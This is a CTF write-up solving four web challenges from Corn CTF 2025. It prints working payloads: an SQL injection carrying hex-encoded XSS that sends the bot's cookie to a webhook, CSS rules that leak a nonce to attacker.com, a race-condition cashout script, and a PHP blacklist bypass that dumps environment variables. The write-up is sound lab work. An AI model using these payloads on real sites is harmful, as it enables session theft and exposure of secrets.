Last week I had the chance to play in Corn CTF 2025, organized by the Pwnlentoni, and with my team K!nd4SUS
we finished in 3rd place. Below are the write-ups for the four web challenges I was able to solve.
Simple Chat (22 solves)
The challenge starts with a login screen. When we try to register, we notice that it’s impossible because there’s nowhere in the code that actually processes the data we enter to create an account.
However, we notice that in db.js
during the app’s initialization a user named kekw with the password kekw is created, so we can log in as that user.
INSERT INTO users(username,password) VALUES
('admin','${ADMIN_PASSWORD}'),
('Val','${crypto.randomBytes(16).toString("hex")}'),
('augusto','${crypto.randomBytes(16).toString("hex")}'),
('CubikMan47','${crypto.randomBytes(16).toString("hex")}'),
('LolLo','${crypto.randomBytes(16).toString("hex")}'),
('Hiipso','${crypto.randomBytes(16).toString("hex")}'),
('FTW','${crypto.randomBytes(16).toString("hex")}'),
('kekw','kekw'); <-- Here
Once we’re logged in the page shows several chat with the users that were pre-populated in the database, and we can chat with them and receive replies.
We notice that the application exposes a /ping
endpoint that lets us have the bot visit a chat between itself and a friend, so we can assume the challenge is an XSS.
app.get('/ping', async (req,res) => {
const friend = req.query.friend;
if(!req.session.username){
res.json({'status':"You have to be logged in to ping admin"});
return;
}
if(!FRIENDS.includes(friend)){
res.json({'status':"You are not admin's friend"});
return;
}
fetch(`${HEADLESS_HOST}/`, {
method: 'POST',
headers: { 'Content-Type': 'application/json', 'X-Auth': HEADLESS_AUTH },
body: JSON.stringify({
browser: 'chrome',
actions: [
{
type: 'request',
url: `${CHALLENGE_HOST}/`,
},
{
type: 'set-cookie',
name: 'flag',
value: FLAG
},
{
type: 'sleep',
time: 2
},
{
type: 'type',
element: 'input#username', //username
value: 'admin'
},
{
type: 'type',
element: 'input#password', //password
value: ADMIN_PASSWORD
},
{
type: 'sleep',
time: 1
},
{
type: 'click',
element: 'input[type=submit]'
},
{
type: 'sleep',
time: 5
},
{
type: 'click',
element: `#friend-list > li:nth-child(${FRIENDS.indexOf(friend)+1})` //opens chat with said friend
},
{
type: 'sleep',
time: 10
},
]
})}).then(r => {
console.log(r.status_code)
})
res.json({'status':'Admin got pinged'})
})
Indeed, in script.js
we can see that the messages are inserted into the HTML without any sanitization.
function appendMessage(name, img, side, text) {
// Simple solution for small apps
const msgHTML = `
<div class="msg ${side}-msg">
<div class="msg-img" style="background-image: url(${img})"></div>
<div class="msg-bubble">
<div class="msg-info">
<div class="msg-info-name">${name}</div>
</div>
<div class="msg-text">${text}</div>
</div>
</div>
`;
msgerChat.insertAdjacentHTML("beforeend", msgHTML);
msgerChat.scrollTop += 500;
}
But there’s a problem in /api/v1/insertChat
the < and > characters are being converted into HTML entities.
app.post('/api/v1/insertChat',async (req,res) => {
const sender = req.body.sender;
const receiver = req.body.receiver;
var message = req.body.message;
if(!FRIENDS.includes(sender) && sender !== 'admin' && sender !== 'kekw'){
res.json({'status':"you can't write messages on behalf of other people."})
return
}
if(!FRIENDS.includes(receiver) && receiver !== 'admin' && receiver !== 'kekw') {
res.json({'status':"you can't write to nobody"})
return;
}
//no XSS
message = message.replaceAll('<','<');
message = message.replaceAll('>','>');
const result = await db.insertChat(sender,receiver,message);
if(result != 0){
res.json({'status':"Couldn't insert the chat."});
return;
}
const response = {'status':'Success'};
res.json(response);
})
Fortunately however, there’s an SQL injection vulnerability in db.js
that lets us completely bypass this check!
async insertChat(sender,receiver,message){
try{
const query = `INSERT INTO chat(sender,receiver,message) VALUES ('${sender}','${receiver}','${message}');`;
await this.client.query(query);
} catch (e) {
console.log(`Error: ${e}`)
return 1;
}
return 0;
}
The application uses PostgreSQL so i crafted a tailored payload; I used hexadecimal encoding to bypass the filter but there are many other valid options. (The flag is stored in the bot’s cookie)
');INSERT INTO chat(sender,receiver,message) VALUES ('Val','admin',E'\x3c\x2f\x64\x69\x76\x3e\x3c\x69\x6d\x67\x20\x73\x72\x63\x3d\x22\x78\x22\x20\x6f\x6e\x65\x72\x72\x6f\x72\x3d\x74\x68\x69\x73\x2e\x73\x72\x63\x3d\x27\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x65\x62\x68\x6f\x6f\x6b\x2e\x73\x69\x74\x65\x2f\x33\x35\x62\x30\x33\x37\x35\x34\x2d\x66\x32\x65\x66\x2d\x34\x62\x65\x34\x2d\x61\x35\x62\x39\x2d\x34\x33\x66\x37\x33\x63\x37\x38\x61\x31\x62\x66\x3f\x27\x2b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x3b\x3e');--
Now all we have to do is send a request to /ping?friend=Val
, and the flag will be sent to our webhook!
aeronaut (17 solves)
The challenge presents us with an interface where we can bet money (starting with a balance of $10).
The goal of the game is to place a bet and there's a multiplier that increases every second. You have to cash out before the multiplier crashes — otherwise, you lose all your money. If you manage to cash out in time, you win the amount multiplied by the current multiplier at the moment of cashing out.
We win if our balance reaches 100 million
The page is connected to the backend via WebSockets, through which it communicates.
Analyzing the program’s logic, we noticed that the backend sends the crash-out notification before it resets the player’s bets, and during that window the socket sleeps for 0.2 seconds
print(bcolors.FAIL + "End phase" + bcolors.ENDC)
socketio.emit('game_state', {
'phase': 'ended',
'multiplier': gs.max_multiplier
})
socketio.sleep(0.2) # fix latency
gs.game_phase = 'ended'
# Reset bets
for player in gs.players.values():
if player.bet > 0:
player.lose()
0.2 seconds may seem short, but it’s actually plenty of time; in fact, we can write a client-side script that cashes out the moment the multiplier crashes, letting us win the maximum possible amount for each round until we reach 100M balance!
(() => {
const sock = window.socket || socket;
const balEl = document.getElementById('balance');
sock.on('game_state', data => {
if (data.phase === 'betting') {
const bal = parseFloat(balEl.textContent) || 0;
if (bal > 0) sock.emit('place_bet', { amount: bal });
} else if (data.phase === 'ended') {
setTimeout(() => sock.emit('cashout'), 0);
}
});
})();
PolentaGPT (12 solves)
The challenge presents us with a screen where we can chat with an LLM and receive responses.
Additionally, there’s a service that allows us to send a message to a bot, which will forward it to the LLM to create a chat between them.
Our goal is to retrieve the bot’s cookie so we can impersonate it and obtain the flag.
The chat service is clearly vulnerable to XSS
because the input data is inserted into the page without any sanitization.
$(document).ready(function(){
$("#chatForm").submit(function(e){
e.preventDefault();
});
$("#sendBtn").click(function(){
var message = $("#userInput").val().trim();
if(message === "") return;
$("#chatbox").append("<div class='message user'><strong>You:</strong> " + message + "</div>");
$("#userInput").val("");
$.ajax({
type: "POST",
url: "/chat",
contentType: "application/json",
data: JSON.stringify({ message: message }),
success: function(data){
$("#chatbox").append("<div class='message ai'><strong>PolentaGPT:</strong> " + data.reply + "</div>");
$("#chatbox").scrollTop($("#chatbox")[0].scrollHeight);
},
error: function(){
$("#chatbox").append("<div class='message ai'><strong>PolentaGPT:</strong> Communication error.</div>");
}
});
});
});
The problem, however, is that the server requires a nonce for inline scripts, otherwise they won’t be executed.
@app.after_request
def apply_csp(response):
nonce = getattr(g, "nonce", None)
if nonce is None:
nonce = base64.b64encode(os.urandom(16)).decode()
g.nonce = nonce
csp = (
f"script-src 'nonce-{nonce}'"
f"script-src-elem 'nonce-{nonce}'; "
f"script-src-attr 'nonce-{nonce}'; "
"object-src 'none'; "
"frame-ancestors 'none'; "
"upgrade-insecure-requests"
)
response.headers["Content-Security-Policy"] = csp
What’s really strange, though, is that the page includes a <nonce>
tag containing the actual nonce value.
<nonce value="{{ nonce }}"></nonce>
If we take a closer look at the CSP rules, we notice there are no restrictions regarding styles. This is a serious problem because CSS
can actually be used to extract information about the content of the page.
The following payload lets us send to our webhook information about the first letter of the nonce.
<style>
nonce[value^="a"] {
background-image: url("https://attacker.com/leak/a");
}
nonce[value^="b"] {
background-image: url("https://attacker.com/leak/b");
}
</style>
We can repeat this process for all 32 characters of the nonce, and once we’ve reconstructed it, we can send the bot a classic JavaScript payload that exfiltrates its cookie to our webhook — and just like that, the challenge is solved!
PHPisLovePHPisLife3 (12 solves)
The challenge is a classic PHP jail
, where there’s a blacklist of characters and functions that we’re not allowed to use.
The flag is stored in the environment variable FLAG
if(isset($_POST['code'])){
$code = $_POST['code'];
// I <3 blacklists
$characters = ['\`', '\[', '\*', '\.', '\\\\', '\=', '\+', '\$'];
$classes = get_declared_classes();
$functions = get_defined_functions()['internal'];
$strings = ['eval', 'include', 'require', 'function', 'flag', 'echo', 'print', '\$.*\{.*\$', '\}[^\{]*\}', '?>'];
$variables = ['_GET', '_POST', '_COOKIE', '_REQUEST', '_SERVER', '_FILES', '_ENV', 'HTTP_ENV_VARS', '_SESSION', 'GLOBALS', 'variables', 'strings', 'blacklist', 'functions', 'classes', 'code'];
$blacklist = array_merge($characters, $classes, $functions, $variables, $strings);
foreach ($blacklist as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $code)) {
$output = 'No hacks pls';
}
}
if(count($_GET) != 0 || count($_POST) > 1) {
$output = 'No hacks pls';
}
if(!isset($output)){
$my_function = create_function('',$code);
// $output = $my_function(); // I don't trust you
$output = 'This function is disabled.';
}
echo $output;
}
Even though we can’t see our output, PHP’s documentation reveals that create_function()
internally calls eval()
This function internally performs an eval() and as such has the same security issues as eval().
If we take a look at the source code of the function, it turns out to be this:
"function " +
$SOME_DYNAMIC_NAME +
"(" +
$LIST_OF_ARGUMENTS +
")" +
"{" +
$CODE_TO_EXECUTE +
"}" +
"\0"
After several attempts, I managed to solve the challenge with this payload, which uses the OR operation to obfuscate the function names.
}?> <? (p|'0rint_r')((getenp|'aetenF')()) ?> //
Which, once decoded, turns into this command:
print_r(getenv())